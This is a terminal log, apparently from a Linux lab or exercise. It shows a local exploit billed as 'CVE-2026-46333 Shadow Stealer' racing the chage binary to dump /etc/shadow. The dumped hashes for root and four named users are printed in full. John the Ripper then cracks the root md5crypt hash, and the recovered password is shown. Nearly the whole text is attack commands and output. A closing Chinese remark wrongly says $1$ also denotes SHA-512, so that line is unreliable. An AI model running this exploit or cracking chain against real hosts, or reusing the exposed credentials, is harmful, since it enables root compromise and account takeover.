HGBEMaze:~/CVE-2026-46333-main$ ./a.out [] CVE-2026-46333 Shadow Stealer by 0xBlackash [] Target: /etc/shadow via chage [] Found chage at: /usr/bin/chage [] Starting race... [] SUCCESS! Stolen /etc/shadow (round 2) /etc/shadow root:$1$ruYlbiCu$mBcGHz1E10Io.PT.JVnml0:20568:0:99999:7::: daemon:*:20568:0:99999:7::: bin:*:20568:0:99999:7::: sys:*:20568:0:99999:7::: sync:*:20568:0:99999:7::: games:*:20568:0:99999:7::: man:*:20568:0:99999:7::: lp:*:20568:0:99999:7::: mail:*:20568:0:99999:7::: news:*:20568:0:99999:7::: uucp:*:20568:0:99999:7::: proxy:*:20568:0:99999:7::: www-data:*:20568:0:99999:7::: backup:*:20568:0:99999:7::: list:*:20568:0:99999:7::: irc:*:20568:0:99999:7::: _apt:*:20568:0:99999:7::: nobody:*:20568:0:99999:7::: systemd-network:!*:20568:::::1: dhcpcd:!:20568:::::: systemd-timesync:!*:20568:::::1: messagebus:!*:20568:::::: sshd:!*:20568:::::: HGBE:$y$j9T$6s8e/tmZzXrU4OrSoRLon0$KZP4gL2mULtpnfaPi5lkgxENm7XsJyxZsFfNiOK8XG0:20589:0:99999:7::: ll104567:$y$j9T$DsJIEsWyKmgsyfagD.NiU/$O2iv6sfA1EaKiBMGd5z2Q1M3nZWX3Uyzr.FkgSQz9G.:20589:0:99999:7::: mono:$y$j9T$UR5AFwviu9GhcPHEyJm8m/$PZX86ZOVLxDHM8qtf4j/D7byiFaEl7g5XrcJGrr54e5:20589:0:99999:7::: lzh:$y$j9T$4Hb4MDqV5X/eYrwX20DG/.$L83CJ2ClORTxjovzJhO9YpSFbTitH.IKJTAc.Q76rEA:20589:0:99999:7:::┌──(root㉿kali)-[/home/kali1/hgbe] └─# cat root root:$1$ruYlbiCu$mBcGHz1E10Io.PT.JVnml0:20568:0:99999:7::: ┌──(root㉿kali)-[/home/kali1/hgbe] └─# john --formatmd5crypt --wordlist/usr/share/wordlists/rockyou.txt root Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3]) Will run 4 OpenMP threads Press q or Ctrl-C to abort, almost any other key for status juju01 (root) 1g 0:00:00:00 DONE (2026-07-10 13:26) 2.777g/s 556800p/s 556800c/s 556800C/s karmann..jack31 Use the --show option to display all of the cracked passwords reliably Session completed.$1$代表的是md5加密$1$代表的是sha512加密所以这里的root密码很好破解。